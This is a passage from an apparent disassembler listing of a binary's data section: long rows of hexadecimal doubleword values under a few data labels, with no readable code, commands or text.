6C055B5Eh, 5C82911h, 68590702h, 170FD8FCh dd 0B95CA8E9h, 1DD33980h, 76E5BD8h, 0DA284325h, 9CD863C7h dd 94135C9Ah, 92DBAD71h, 7F2E99AAh, 0CA5A9ECBh, 19BB1C84h dd 0C50E484Fh, 85B7FFD9h, 8055E909h, 0D8C019D5h, 7F6FCB3Eh dd 2AFBC04Eh, 425C2548h, 7BE341F9h, 0C2620902h, 7FE1D482h dd 1041355Ch, 0B83E4650h, 58084006h, 0ECD2E913h, 0D84C28BFh dd 6D8E0D54h, 0E08C785Eh, 71295A2Ah, 70C231BEh, 0BB80BE58h dd 0D73313DEh, 0F82DA510h, 2AD35B7Fh, 3DEB01EFh, 6B227C2Bh dd 7E41C087h, 1A824619h, 80F3385Ah, 35EB3C40h, 29014F09h dd 85808CEh, 0E909B926h, 0F0B055E5h, 0B080C391h, 0C7801E5Bh dd 0AC479709h, 5059389Fh, 2C3E5AE3h, 0A87814EBh, 0CC91D7F8h dd 2948EA77h, 2BDC4176h, 0A44B2D5Eh, 2F0BF31Fh, 0B2F5A542h dd 0DC65D701h, 0FBB26616h, 0BFBE0E17h, 489528h, 0BD7CB42Dh dd 0DBF2E949h, 5D704A9Dh, 0FFEBC520h, 212D248Dh, 6F4379C2h dd 57FBEC61h, 9E2C2EFFh, 0A1CB4BE9h, 0D3DB7A5Ah, 0D374BF4Bh dd 7949482h, 33C96780h, 64015F1h, 0ADA1CBA1h, 8AAD30C3h dd 89DD79B5h, 6EA10768h, 7AD1A9E9h, 53112790h, 13799DF7h dd 89161B24h, 0FB4F99FCh, 5A015978h, 0C0404247h, 0A2833D3Bh dd 0D0CBCEFh, 6AEE32E9h, 88A63BB5h, 0A33CAA4Ah, 3CDE9CACh dd 6B0B2A5h, 33E57268h, 0B4B7175Ch, 16E04BEh, 0EFC04228h dd 0DA095F02h, 18B56C00h, 0C65F3CE9h, 0B2C5FAEDh, 19C6C2BAh dd 0A4D84009h, 0FD52817Dh, 0E8D4C19Ch, 0F19FE17Ah, 0EE5C1A20h dd 0EE562057h, 0B1F8635h, 5EF231D7h, 2239D580h, 0E91C66F1h dd 4B38811Ch, 0E9927CEFh, 72BE312Dh, 56C23BFBh, 6159A189h dd 4EBD807Dh, 76489D5Bh, 0CE12C0C1h, 40497997h, 861FC0BDh dd 29D32551h, 0E9582FF4h, 5AE14063h, 58686609h, 0F24E6B62h dd 77CE4A39h, 0CF71D5A9h, 0E418E961h, 56EDF39Fh, 0E94F1273h dd 3008417Dh, 2F0CC1CDh, 0C41CD5Eh, 0F6412B5h, 4139A96Dh dd 140CA008h, 62255D7Eh, 0C27A540Ah, 0B596FA1h, 0D1A54A48h dd 53C5996h, 0E6C4AF09h, 47B70B6Bh, 550262EDh, 0CB9A50BDh dd 76955078h, 2F65EB6Ah, 0B66866B0h, 49EF2C78h, 0EF0BCB28h dd 0C61C4842h, 23AE865Bh, 4ACA5FBAh, 0B802D6FCh, 0C0D92B8Bh dd 0B676B9E7h, 74A9A7C4h, 0F1FCF458h, 6630DC97h, 279841D6h dd 72142B5Ch, 254D0CC0h, 1C011DDFh, 7A04E9F3h, 884139DAh dd 0EC95B56h, 6DE4D6F6h, 9130AE74h, 48187811h, 7D04EAB1h dd 0EE522105h, 80BA5D4h dd 0BC4E845Eh, 3888AA56h, 0FEB34BEBh, 6844FA1Dh, 30B320ACh dd 0FE1CB009h, 589FB2F4h, 0DFE9D0CFh, 23EF4DF0h, 80514F55h dd 0AE3EBB7Eh, 5E61C5Ah, 0ACED9713h, 0D585E4A6h, 5B1F2BBFh dd 92D23CBDh, 18F846F9h, 934A92B0h, 0F10CA307h, 0C434D8B1h dd 0B7040C89h, 0B04C3687h, 92CD80D5h, 0CA23E91Bh, 12A3C1C3h dd 9940A761h, 302ABBAh, 0E9EE219Ah, 277D037Ch, 0C47BCB09h dd 8467C47h, 5E1319E6h, 5AC552E4h, 0AC973149h, 97B36E6Ch dd 0E38D7616h, 6739D641h, 0E115AC2Fh, 0F805BA89h, 0E0E84EA1h dd 0C8E66C14h, 0AD4AA381h, 7E00201Fh, 3BFF6A18h, 2C1CD118h dd 2286359h, 7D511E9Bh, 9E4D26C9h, 7604B8E0h, 5E0429C6h dd 0E03BAD1Dh, 9E11AAE9h, 41F9E979h, 653A4B60h, 0BA52013Eh dd 11080D68h, 10D77C29h, 0B9025432h, 7B8D5FD7h, 52F52E1h dd 51B20EBEh, 77C68B38h, 76DA3C13h, 129643F9h, 5FA6C2AFh dd 0D8CDB2FDh, 4D769F9Ch, 617B7652h, 2C458C68h, 0FF518B4Fh dd 91B7EA04h, 2FD2F592h, 0ED8FC41Dh, 0EA06C426h, 3000DABEh dd 0B7E90C83h, 8098B9D2h, 0CCFE2FB4h, 4C4BC480h, 8F5B42B2h dd 14E85B89h, 3EC632B1h, 0F262B440h, 5801DA95h, 16B6D6CDh dd 87F5E916h, 0D0BED0D4h, 7554E187h, 4F9A71B5h, 9E789E0Bh dd 0AD5C978Ah, 6A01617Ah, 8F843389h, 2928133Eh, 0C101FCD8h dd 0E9425E5Fh, 0B22BDFC6h, 506035Ch, 0A50E3115h, 0E91820EAh dd 92947D90h, 1F4F547h, 10B5B3FFh, 0FEC433C4h, 83AE12B8h dd 0BDF15544h, 41A8616Ah, 962FDFF2h, 6758ED0Ah, 0FEEC78DEh dd 8630DF09h, 526DE705h, 61D8D095h, 0BFEE264Eh, 820ABD53h dd 2F685E99h, 96F4674h, 2E5CE957h, 94BD8414h, 0F0E91A6Eh dd 1E57A4DBh, 3083414Bh, 7E8221FCh, 739C0070h, 9EB84281h dd 28E90BC4h, 0CBD34B0h, 487F531Fh, 12124548h, 0E8002452h dd 0E32A9DF5h, 0CAFEC01Fh, 0E9227338h, 56F27254h, 0E5CB574Fh dd 0F140D70Ch, 0E34A192Ah, 0DF67E0DEh, 95A5452h, 0C298DD12h dd 7C0C4868h, 905D3231h, 7A370E3Ch, 103B4563h, 48F251BBh dd 2916687Eh, 0ABBE49C0h, 594A5C5Ch, 7FF5F600h, 8BE94692h dd 0FF257794h, 3657389Ah, 795CB74Ch, 0F9C847E2h, 0C650272Dh dd 54023107h, 61B0E281h, 0B74A6A53h, 783C5B3h, 96416BD2h dd 0DE9E85Ch, 6C0BE1ECh, 76435A61h, 9389259Eh, 25BB445Dh dd 84892EDh, 0B50962A6h, 0A1574627h, 389725C0h, 9A2BF647h dd 74BEC23Ah, 4A5D833Ah, 1B2D3A2Ch, 5EED965Bh, 139C542h dd 7A0BEF14h, 0ACB16A7Eh, 0E334A47Eh, 101BB70Ch, 9027855h dd 5076443Ah, 0AD1356FCh, 9807D464h, 0ACD23135h, 1F5955E3h dd 2A63D20Ch, 3048B85Bh, 801EB748h, 0C07901C1h, 86830250h dd 25F5094Bh, 2E10B862h, 0DAF71851h, 810E2174h, 403F7859h dd 121F30C3h, 0F8CD60CFh, 24FC5AE7h, 8D75E5D4h, 642C9FD8h dd 0B8E4B256h, 95C5D7CAh, 17680960h, 64489C21h, 5839E920h dd 4AF71319h, 9BC77260h, 0DFF2F50Ah, 0E42CA9C6h, 0E640FC0Bh dd 0F635DA43h, 0A4A95B4Ch, 884008B7h, 271E7D2Ch, 65E9DB2Dh dd 411E7068h, 4FFDF2BFh, 9D38119h, 79006AFEh, 7A41CD2h dd 0B8EB0181h, 29CD97D8h, 27C82ADEh, 0D1CC0B2Dh, 870A391h dd 0A65F527Eh, 61BBA201h, 0FFDE2B1Bh, 6B658BE0h, 4ECA0F60h dd 0B404BE2Dh, 19086F2Eh, 74DE27h, 791D6688h, 0BD68CB9h dd 0AC1924FFh, 0F101185Ch, 807EFDB6h, 6B0445BAh, 0EA3119D2h dd 0BE0A2AAh, 0D2FDB4E9h, 4F9D844Ch, 5C8C0AF3h, 1CAD08F7h dd 972C742Fh, 12B2434h, 5D6A4A8Ch, 0A2CC385Fh, 0FDE57551h dd 28886804h, 1E731AFh, 0FC2B0D1Ah, 544504FFh, 4AC116A6h dd 6800F23Eh, 39FA711Dh, 16505E3Eh, 90FDC5C1h, 167B2577h dd 0D10BABF2h, 546A1F42h, 2BD40AFFh, 730C3E0Dh, 10BC4CD7h dd 49701312h, 84160EDh, 97CDA22Eh, 7E97770h, 0D151BDFEh dd 0EA82E1B4h, 0F039FD8Ah, 5D7B205Fh, 8C89B0BEh, 0E86E3069h dd 9DB680B8h, 37CE3037h, 57FE4DC2h, 1C9009F9h, 0CAFB413h dd 4051F884h, 2F783D43h, 6D515B86h, 7F1A16B0h, 7B05B75Fh dd 0E90705F6h, 0F4C75080h, 766B810h, 0F7245C2Dh, 5F829A1h dd 8FC20747h, 91586327h, 0E872AF11h, 17CBEA02h, 32570165h dd 254EFCDFh, 967D1B8Bh, 83219576h, 7C5139B3h, 3BA710F6h dd 0C1A5BE02h, 29FDD5D8h, 0A932777Eh, 8964D17Dh, 7D74ED0Eh dd 0F4BBFBC4h, 579A1B09h, 0D0EB282Dh, 9B42A3CBh, 5712F151h dd 1F34E32Eh, 0F89FC4B7h, 0A1B40B53h, 7BCB0FEBh, 9264255Dh dd 1A28FAC6h, 45189FFAh, 0CA793DE9h, 0D01E28F4h, 0DA556904h dd 2A680998h, 49AA5151h, 0DAF4C902h, 1C570901h, 0CFA2D5E0h dd 9125E2Ah, 84290C21h, 0AB97E2F1h, 513536C0h, 95B505CFh dd 0F840D8F7h, 84A8162Fh, 4B87848Ch, 0B106F276h, 8532C956h dd 0B2DBB05h, 57F5012Eh, 3EFC841Dh, 398F6BF1h, 0BF41F7C7h dd 0F4FD01B2h, 1AC65954h, 0B56424Ah, 1C444FD5h, 4D22CF00h dd 0F7301277h, 26A61CD2h, 0E6FE59AFh, 2C603127h, 5582B4F8h dd 0EF015ED0h, 64117C85h, 0F16AF909h, 164DECFCh, 6310065Ch dd 5AB490DDh, 1640FAB4h, 0D9334E88h, 0CA98C431h, 5C129CD8h dd 2837A05Eh, 4FB88395h, 5CC7784Fh, 5F5F1A9Fh, 5535D870h dd 9DEB2477h, 66BC2E15h, 938929C4h, 38E83E04h, 0FF65B01h dd 0F9937AB6h, 21584D00h, 4A537E8Bh, 0A5200056h, 0B85D5568h dd 0B22970Bh, 0A7A78941h, 7411BDB4h, 0F83F793Ch, 0D095F12Dh dd 72FED964h, 0B8CB7CC3h, 6368B5D0h, 5B817FA8h, 0C51CB038h dd 3DE5CC17h, 0E92F3A0Ch, 0EF9E6873h, 0A7491746h, 2582EC0Dh dd 9F0B70B1h, 14C2EBF1h, 8DC5D7B3h, 3B8220B4h, 0B36CB0Bh dd 3BB768FCh, 0EE8F0719h, 0CBF8F1D5h, 5A34A57Fh, 0B5A4A2EFh dd 662F6382h, 68521D94h, 72F144A4h, 13C8FA5Ah, 0B56D26D4h dd 55EA0094h, 576B0813h, 0E053A90h, 4A2C445Ch, 3ADADFBCh dd 49F21160h, 6CFC2E18h, 4844261Eh, 9140B4EDh, 0F6825B42h dd 1D5516F0h, 3945F7F0h, 0A05F7448h, 6A3B7ED4h, 8FF50305h dd 955FF44h, 0AE0F3818h, 0D331BC82h, 0B8F68A04h, 5C800288h dd 0E905E1C0h, 0D06B5A23h, 47407914h, 0E6054B76h, 6ED04557h dd 2B04F4AAh, 0FC72C712h, 192F64A9h, 0CB5FCA62h, 8125BB1Bh dd 0F7C85D4Eh, 0FCF997D6h, 0A7DAFF04h, 0DCF41FC3h, 0AAD68904h dd 97F0C298h, 0FB496E54h, 3B3D0B1Bh, 0E828EA98h, 68610F94h dd 0A24C52A8h, 80E24AE9h, 4DC1BBA7h, 0C225EC27h, 90C102ECh dd 21F2F77Eh, 0C05B9EC1h, 84ACD5B2h, 1F13101Dh, 0BB0FBCBFh dd 0C98D4572h, 7EDDCEAEh, 0A446330h, 1CB9B753h, 9F5BFE88h dd 1AD049C6h, 0F7960953h, 0FBC56504h, 0D80AF3EFh, 32479DFCh dd 1B4635B3h, 3E61E721h, 0C36F28DDh, 97096A0Bh, 0DC238468h dd 7017A0Fh, 3495F7E9h, 265E0630h, 68408869h, 4CE65EA2h dd 1F04CD31h, 8051344Ch, 470DB95Eh, 70E2064Fh, 0C9101148h dd 3D84C9Bh, 8077B41Fh, 0DC28A1C4h, 5BE5ECD5h, 0F88CCCE4h dd 145264E4h, 0A483F8FFh, 0F49F34FFh, 9D418720h, 487EA27Ah dd 93223862h, 8B242D70h, 315F0804h, 0FF3EDFB9h, 3745B612h dd 5BDE37ECh, 0E5511A8Bh, 0CF685640h, 5FAA2710h, 0F65813D4h dd 2F3C0DB3h, 0D05E4E01h, 0BF4A9AE9h, 0EAE134AEh, 0B050C5F6h dd 5FF6AADFh, 56AB2860h, 5F605582h, 0AD13CF81h, 0D5E83215h dd 0E5A24004h, 4E6DF889h dword_4E384C dd 0B82F3229h, 0E93CB886h, 0B414E23Fh, 17FAB900h, 2DE96506h dd 20E59A5Bh, 8D846027h, 385F0807h, 0CC87429h, 0C82AD34h dd 3844F2C5h, 649356EAh, 32EBA160h, 385B1088h, 2E7EBA0Fh dd 0D3292100h, 0D95B015Ah, 0C81B32FEh, 57EEFA64h, 7060FAF0h dd 35BAC35Dh, 25307BDEh, 1D48F450h, 8D5BB055h, 25201BB0h dd 775E58C1h, 522DF31Eh, 0D634407Dh, 4F5E05F6h, 0A3665D38h dd 0BB5EAB75h, 20E3E01h, 0BE0A563Fh, 200B4A52h, 0E6DC20F4h dd 35EF801Ch, 0C75DD71Dh, 7CFC1077h, 3E8390F8h, 5EF2EBC3h dd 44CB5DDDh, 171011E9h, 58FBCEEAh, 42F12DF2h, 0DCD95DA4h dd 7AF6E63h, 0D0C7C981h, 76F153E1h, 0C055C1C1h, 0C01F59CFh dd 0F70C02E7h, 34E9918Bh, 0E068CC20h, 5F134CCEh, 40FEB9E2h dd 1A98EB83h, 0DBF35449h, 889C3C2h, 278D4548h, 758D41DDh dd 70610DC8h, 169E9329h, 0A07BAC02h, 0B9B29DE9h, 61E80FA6h dd 0FE20EF09h, 0DF1BAB05h, 0DC01403Eh, 9C171208h, 8C4EDB9h dd 2D5C0136h, 4FE05D93h, 5D02801h, 0EE5A4807h, 2E59C903h dd 91B15E20h, 0C08A6849h, 37BB4405h, 0E9CE0C21h, 5F1EB33Eh dd 0DB44524Ah, 8100CD0Bh, 3FF4C6F1h, 0BF24487Bh, 529D16FAh dd 0F5A0F2D2h, 13259855h, 4234676Ah, 64D9B570h, 7C76F482h dd 31945706h, 19C70C1Fh, 72282A67h, 2FD1A054h, 0DC07821Bh dd 0BB348369h, 0C0BE8C03h, 0D1021E0Eh, 0E32AE24Bh, 0F3D8512h dd 2FFB28FEh, 48AADD4Bh, 5425E184h, 82EE2E37h, 374846E5h dd 5D0092DDh, 2AA6607Bh, 1A8F7769h, 9FE7EE0Ah, 6BE9B80h dd 43D9BC24h, 0B050893Ah, 313678DAh, 0F52B421Dh, 13068F46h dd 9209B388h, 0FE0C4008h, 51521FCCh, 5AB61AB1h, 0C680EE40h dd 4B0DCB58h, 99AFEE84h, 127FDEA1h, 2B2F77A1h, 429186Bh dd 0A7CB2D6Bh, 0E3D1CD17h, 5C331B4h, 527D8823h, 0CED70409h dd 0E83CAEE1h, 3B14BAD8h, 4F9773B3h, 0E7F94BAEh, 0C707605Fh dd 0E3A2046Bh, 0B159E9A3h, 51B27AD0h, 0A62962B7h, 0ADA8D4AFh dd 71CA2809h, 8AB1EADBh, 36E2D120h, 28091676h, 85412CD8h dd 6FB3A8Ah, 0AE4EAE2h, 478C075h, 641F230h, 98572CEFh dd 30C959Ah, 1F2EE90Dh, 518C19CAh, 5282937Dh, 0F607B043h dd 0B31C6669h, 17765290h, 0D9939925h, 5F888BB8h, 8688A1DCh dd 0A9502F1Fh, 0BC025821h, 0BBBC4A35h, 0BF4F8ECEh, 0E1F05C31h dd 9184D02Dh, 0E5D100B3h, 0F449CD87h, 45475889h, 9D2A2980h dd 9890316Bh, 507AED20h, 7C51215Ah, 0F9B72C54h, 217E82E9h dd 77E7809h, 77AC2913h, 7A600B41h, 0B3F782ECh, 462E35Eh dd 597CBAC5h, 0C3C0BEEAh, 5EFBC1B8h, 0FD62C5BCh, 1B340045h dd 9BE915E6h, 1EBA950Ch, 263BC5DFh, 3861014h, 0C87B5DB9h dd 0D4BBFF6Eh, 33320107h, 30412A16h, 0F288E1ABh, 83C61608h dd 2EEBA97Eh, 0F86948B5h, 2C940006h, 1A0D6AD0h, 3006212h dd 7F473548h, 2210B5Fh, 685758C2h, 0B4513E17h, 20F16196h dd 0BB63C12Eh, 16CF2B7Dh, 0D1C34870h, 0B57938Bh, 0D396D5B6h dd 989D3571h, 80BCF3ABh, 9FB0DD08h, 0C0D8C507h, 0E56303EDh dd 30123EF1h, 5133EE01h, 258FDAE9h, 0D8286430h, 6834189Fh dd 0D81A4A88h, 0BF035704h, 44022D5Ah, 64880BEh, 0EAD0B7C0h dd 34F18926h, 7835DA1Bh, 12EC5E14h, 9C79FA13h, 1A46AC00h dd 400C5CF8h, 4BFB3110h, 0C98754C3h, 0C52BB692h, 0C4DABC8Ah dd 9F1EC548h, 1C26CDFh, 335D7EEFh, 0A0312119h, 3B980872h dd 0F4B30F27h, 0D965EFC5h, 0CFB2BC37h, 29163046h, 762A09D8h dd 7985447Fh, 58F4F4F6h, 5281C556h, 61CE576Eh, 8FD63F5Fh dd 5DD0090Ch, 640A0898h, 0B0082061h, 17584BCEh, 0D138EABBh dd 0F73C41Eh, 1AFE81BEh, 14A83641h, 564AB0Eh, 0D192DFCh dd 0F016B2ACh, 0C4CAE3B6h, 32BA6A26h, 0B1FC5658h, 1EDFBF00h dd 6810A8Ch, 0E65367F7h, 0D6060C7Eh, 4F2D5521h, 3E84700Eh dd 0CF826776h, 15664B0Bh, 398BB980h, 0E92FD2D3h, 5E378BE4h dd 0D586C58Bh, 0FBC6AE7Bh, 0E1024A06h, 40D56007h, 5C2FDA9Eh dd 0E1AF89AEh, 0FCC51C75h, 0ABF19F72h, 0D6D1F78Ch, 0EF08273h dd 0AD0D7997h, 0E4D0CDA2h, 9F624B07h, 5CE69AB1h, 0E02B8847h dd 82B95100h, 2734915Ch, 0EB6CC801h, 0B9FCE919h, 0FAADD76Dh dd 0E4202644h, 1555C79h, 0C4BEB25Fh, 3C2EF87h, 817F0957h dd 52391919h, 0CE67C22Fh, 77EB9B56h, 8A4CC60h, 198CC248h dd 58BEF4AAh, 95BDB4D8h, 0D786C5Ch, 4CB4910Bh, 0BD0455F5h dd 50130A8Eh, 21D306AFh, 0E235372Fh, 0C0BE54A9h, 4814684Ch dd 0E3093C93h, 5D8D2BDDh, 0FCD47685h, 9FEC5B3Fh, 0C1D3F25Bh dd 1006C23Eh, 0A4974D08h, 0C0FEEEFCh, 3EBBB48h, 1187D34Ah dd 4971E19Eh, 1A412C8Dh, 405911Bh, 0CBB22DCEh, 524F7C20h dd 48EDCD4Bh, 7EDDF729h, 37E55F55h, 0A07E8400h, 0C2A05020h dd 6DF8129Eh, 5E10B800h, 9E90121h, 0BE9D397h, 52D85668h dd 3B5C54E2h, 0D28617BAh, 29A5F4FCh, 0C0600140h, 32550716h dd 0EF01B045h, 0F26BF181h, 3CD7C124h, 52005715h, 0ED47BBBAh dd 0D25BF722h, 8357497h, 4A60CD87h, 2D290304h, 79925AD6h dd 0EF404D6Ah, 1100BD13h, 31497B2Fh, 488FE9C5h, 53A2CB1Fh dd 0A95D51C2h, 601457FEh, 41AB885Fh, 0E4776BE7h, 61CE4754h dd 206EE63Bh, 40824406h, 3B66CF42h, 7F491FAAh, 0D5A4377Fh dd 0A8B85340h, 0BF590A2Ch, 181050Bh, 396715CDh, 83112ACh dd 0B101C48Bh, 37F18082h, 1710132Ch, 6EC5E53h, 5AEBF84Bh dd 0EB007CCh, 58C7884Eh, 0EA21E9C2h, 0AF98D3DFh, 2026574Dh dd 0EB44492Dh, 3A85A53Bh, 8912E4B6h, 8832ABDAh, 214FADDh dd 10EF2E42h, 0F590C701h, 0EC9D9448h, 695122B4h, 0B6213C5Bh dd 6E2CD5E9h, 0CDDDF61Dh, 2B3986A8h, 0F7742AB2h, 1644F67Ah dd 45997330h, 0E1461743h, 0BD6D030Ch, 26FFEA38h, 767691Bh dd 31A42C7Bh, 74407FE9h, 791644C2h, 3CD51D92h, 36C68980h dd 6FDB306Bh, 1040150Ch, 83E9E50Ch, 0DE5486BCh, 0D53748D3h dd 81347E2Dh, 5935C2C3h, 0A71E7E69h, 3092CA40h, 0BE4A769Ah dd 878D8151h, 4317A5Dh, 600802C2h, 3E121C45h, 0E813231Ah dd 68859C5Dh, 2A2A1120h, 24D620E9h, 9C20103h, 0B27F167Dh dd 2661B8E7h, 947F82F3h, 88C809Fh, 6E5D3059h, 0FA3AB784h dd 5A211127h, 40BAE8EEh, 10C6806Ch, 0EF08281Eh, 0AADA9CBBh dd 60EDAF32h, 9C5B431Ah, 9DD999EEh, 1C937F5Ah, 576CDA03h dd 0D79DA22Fh, 0A92157FDh, 0B10C9F93h, 0FB80A85h, 1877642Bh dd 4A612D5Ch, 0DDC704Eh, 7B51E241h, 296B93C0h, 0A72F20CAh dd 6191B155h, 4B84688Fh, 0EED012ABh, 0D22A19CBh, 6E6817B2h dd 5512C84Bh, 0F5C0EE99h, 97148743h, 6694F2A2h, 9A423271h dd 0E3D101BDh, 58182043h, 31E467B0h, 53235697h, 95B3F2Dh dd 696C0080h, 2E4BBD08h, 801FD8F7h, 0AE30402Dh, 3E753547h dd 0F66FC52Fh, 93C3C1E3h, 61DAFC5Bh, 5C196725h, 0EB9627BCh dd 305DFB81h, 0C7EA0A45h, 0F6A1741h, 99C571C9h, 8CCEFEEh dd 54610039h, 1FF28119h, 2E261537h, 8671101h, 2060B46Bh dd 19B0ABCEh, 0CD96030h, 0FCFB015Ah, 0BECF543Dh, 0B45653C4h dd 0C0ACB109h, 0F5253F50h, 29A4B155h, 666D5EE9h, 825E9694h dd 82DB50B0h, 0F5E557CBh, 31B0C9A0h, 0CDB03E2Eh, 6BF6FB93h dd 5C55EE02h, 0F08467DEh, 0C48D0Ch, 260991C3h, 54F1C4Ch dd 0E3D9F673h, 0B9016FBh dd 94D08762h, 80FED8FFh, 84F195C9h, 0F381C839h, 0A52B87F9h dd 0C76920CCh, 5A718509h, 0DF8F0B28h, 4FF34120h, 624C1B74h dd 53F00DFh, 84E9403Ch, 0A32AE197h, 6B649FA5h, 0DB550849h dd 595459C2h, 0B65FADC8h, 4B54BF47h, 250F50A8h, 6D1A9023h dd 0F6F47FAh, 90D3612Fh, 721E0D90h, 0C8C98101h, 5127767Ah dd 0EAB9162Bh, 0A0FBC306h, 0D86AEF3Ah, 71485A59h, 0BA66C1C4h dd 40D2316Dh, 144F023Fh, 0A88CF9E9h, 40609484h, 0A61A56EAh dd 60E8F60Ch, 6C6888B3h, 6928C614h, 0AB09B959h, 8136B571h dd 0A728D906h, 41213630h, 12832AF6h, 764BA308h, 0ABE03D70h dd 0CC61A0DAh, 20EAD35Bh, 52128DE1h, 5EAA174Ah, 52F21C4Bh dd 0A5381367h, 0E957411Bh, 21D274D8h, 0C1F4D377h, 7F3E99Fh dd 95EF77FCh, 0EE40C456h, 5A807F3Ch, 0C6A3B066h, 1C2408A3h dd 7E13EF12h, 4BE9242Ch, 2F07B1ADh, 64E186BCh dword_4E414C dd 0A1F7680Ah, 0B603C385h, 0E07D30D2h, 0B7B80339h, 0FD014CA3h ; DATA XREF: ___:off_42DE44o dd 123A7C48h, 84FD5F7Eh, 0BB071CC8h, 8F893B25h, 0C05B6B72h dd 0C652FD84h, 0A6FB1B9h, 4CE3CE18h, 0CBBC6415h, 0EBD5F532h dd 207E17A6h, 8BEFEDF7h, 4AEB7E01h, 527106Bh, 0D3288AB3h dd 401132C8h, 0A2042DBCh, 571B895Dh, 971588FAh, 0E4D7F72Eh dd 527C3010h, 79498201h, 5A0D1950h, 8B14A27Ch, 6853402Ch dd 56134CFAh, 0D1152CAh, 0B97DDF06h, 3135874Bh, 5206A56h dd 7FE707CDh, 0C6EA0952h, 0D0875145h, 0C874C4E9h, 7251D08h dd 98B65C67h, 0A33014D9h, 589EC92Dh, 874B732h, 94D35085h dd 0C0838781h, 0D0BACC7Fh, 315F161Fh, 5285AF49h, 0B15026BCh dd 0B06C2FB2h, 6EDAE917h, 523903F2h, 3CD5EAF9h, 6C8D5B5Ah dd 38330187h, 0C105B5DCh, 37EBA87Dh, 60A1921Fh, 0A654C555h dd 0A8B592A2h, 2DEA4EDCh, 1F37FCBh, 5B28AAD2h, 10DE2668h dd 64BE60C5h, 1278166Fh, 0EB9AF768h, 0A5DB5EA7h, 56E0D7F3h dd 55B6850h, 0E92FB952h, 6186A5A3h, 9D3CE027h, 513F989Fh dd 64432D68h, 5B2CF3C6h, 46F86EEh, 1AB45FBFh, 0C5840F3Fh dd 204929CAh, 0D569D27Eh, 0E9CA2FB0h, 51A1EF4Ah, 4750920Eh dd 0FC3AE1B4h, 4EBDE1FDh, 4A159358h, 0C4C6E23Dh, 0F7441B8Ah dd 8CCBAF5Eh, 14D5680Eh, 0E8DCAB16h, 9B4CF56h, 802AFD44h dd 0D9E94159h, 0BA00FFB6h, 65DA61C7h, 26680457h, 0A88F28ACh dd 0E089A2A3h, 822E6704h, 0D457160h, 2047A20h, 0D8FD1EF2h dd 1DEB5EE9h, 0DF3C2E3h, 0C328FEA0h, 8B957F90h, 5350852Eh dd 0EB338AF0h, 0DC87EF04h, 26C10E83h, 8664FDEBh, 93610B5Ah dd 69EF574Eh, 6EEC6B14h, 0E90C9CE7h, 75366A9Dh, 6E2D58C1h dd 0DC64EDA3h, 0DD81131Ch, 500155C4h, 0F99F60B0h, 0F5C77DA0h dd 139E3417h, 0A1EFDEA0h, 0E88C5E08h, 558A18Eh, 80B2C40Bh dd 905470CFh, 2EBE3CA3h, 0C8198DD8h, 3E5D26E5h, 607664B3h dd 0F7BB16FDh, 36C0606Fh, 37347AE3h, 0A90CC363h, 0C097836Ah dd 42EFF0C3h, 0E0E91016h, 1E5D73F0h, 4DEDD15Eh, 601299AAh dd 1BF0F925h, 0FD12E997h, 0C6B3FFh, 55D2B8DFh, 1E25018Ah dd 14361103h, 0B30D2D48h, 4EA18402h, 80617B5Dh, 4877424Eh dd 0FBB5D6D8h, 0A80216B0h, 5B875D8Ch, 2D72BE1Ch, 4BE5F83Ah dd 6B50F5B8h, 79C63BADh, 9ABF45BEh, 0AFCC774Ch, 1D02E54Fh dd 0C8C25FE9h, 0EE675A15h, 17119318h, 0B96FF4C1h, 338F63Dh dd 740EB827h, 0BAAE4EFh, 4CD3314Dh, 0FCF98909h, 68F602CCh dd 4A5F3978h, 68080997h, 86779D88h, 4C40D398h, 0F6BB0258h dd 317A390Bh, 718716FFh, 21CB49E9h, 2D32F94Ah, 7D95A959h dd 0A05A11C8h, 0FFA4D483h, 0A31A1882h, 30AB9026h, 68035206h dd 27590FD8h, 8F25B302h, 92CBAF05h, 4F269E04h, 0B981FE84h dd 0F70034B4h, 0EE0787D5h, 2A9FBF57h, 0E2AE4D75h, 477B16B0h dd 2EE7902h, 0CD5EE14Eh, 1080BE04h, 7CA9F281h, 9DF4B091h dd 0C7040B78h, 359441C6h, 0BCD22787h, 538723Ch, 7C07E4CDh dd 609F870Dh, 90A6AB3h, 83A6EA4Bh, 7D177178h, 0D02925A7h dd 0B2969AD7h, 0BE958058h, 2643F958h, 2058CB01h, 0E7594E08h dd 0A4E982B5h, 5447DFCBh, 66A5B102h, 5C57168h, 9261E9E0h dd 0FA4B21A9h, 0C5ED019Fh, 52E86A28h, 2EC21D10h, 0A30B0A66h dd 9F20C907h, 90BDF26Fh, 55CB35C4h, 0F18399BFh, 0A0843BC3h dd 63A5CBAFh, 0F6497D9Ah, 58B0EEAFh, 57CC104Dh, 6C745A22h dd 40E67095h, 5D7E58ACh, 625B7EB7h, 16551A0Ch, 5608C20Eh dd 0ABF435E9h, 0E8125565h, 95E2D8FFh, 0EB689BC7h, 845433BBh dd 0A2E95341h, 0A0B23FE0h, 0EFF2A78h, 99C105E2h, 0AC3DED87h dd 0CA1E13CEh, 2D7B35B7h, 0D5D6CECCh, 3FBE56E0h, 7953254Dh dd 0C79082C4h, 8220371Eh, 92850CF0h, 0E90D162Ah, 0F6E9C026h dd 3BE780DEh, 129AF40Bh, 55648B53h, 32F251A0h, 584F7D14h dd 4B7CE0E3h, 8B410959h, 28347B55h, 23B903CEh, 0DA294B03h dd 4D01C2F6h, 0E915E21Dh, 0FDC2D069h, 25BFA345h, 683F8165h dd 0B33B6D18h, 40327E78h, 0F1CB138Ah, 0E1C109E5h, 20F19601h dd 219CC472h, 32EFC85Bh, 6C50D8DDh, 28A62C0Bh, 129405F0h dd 1E8139F4h, 0CC66B762h, 0E2C3B5CDh, 0D249CF0Bh, 3F0BF772h dd 776CCADDh, 8E208E4Ch, 685E1640h, 0CBA85E51h, 0A4571F3h dd 9236DD2Dh, 6EFB58B0h, 49163BB3h, 216127B3h, 0EC79C005h dd 6BBAA684h, 7F43D409h, 0F8C5D35h, 63D5726h, 3CEEFA8Ah dd 0E14F4A28h, 3A4E6703h, 40C1296Ah, 0B7580872h, 2C5F5DCh dd 0C7574604h, 28AAA16h, 194CB25Bh, 59269D8Ah, 6FA7F02Bh dd 39CCC95h, 5AD02863h, 82CDB551h, 99F5ED57h, 0BA2A3467h dd 19C97A31h, 0EC838871h, 0E9A90E31h, 0F4917692h, 575D7002h dd 0DF4F07F6h, 680A7DE3h, 0A8263C5Eh, 0CD4733B5h, 0A90136CFh dd 10F0E581h, 343A710Eh, 0BA6D8511h, 0E1611271h, 0CE3EF97Bh dd 752F3C1Fh, 6F86CF30h, 0B341C924h, 1D1EE602h, 306875F4h dd 8482D1CAh, 85A8C56Fh, 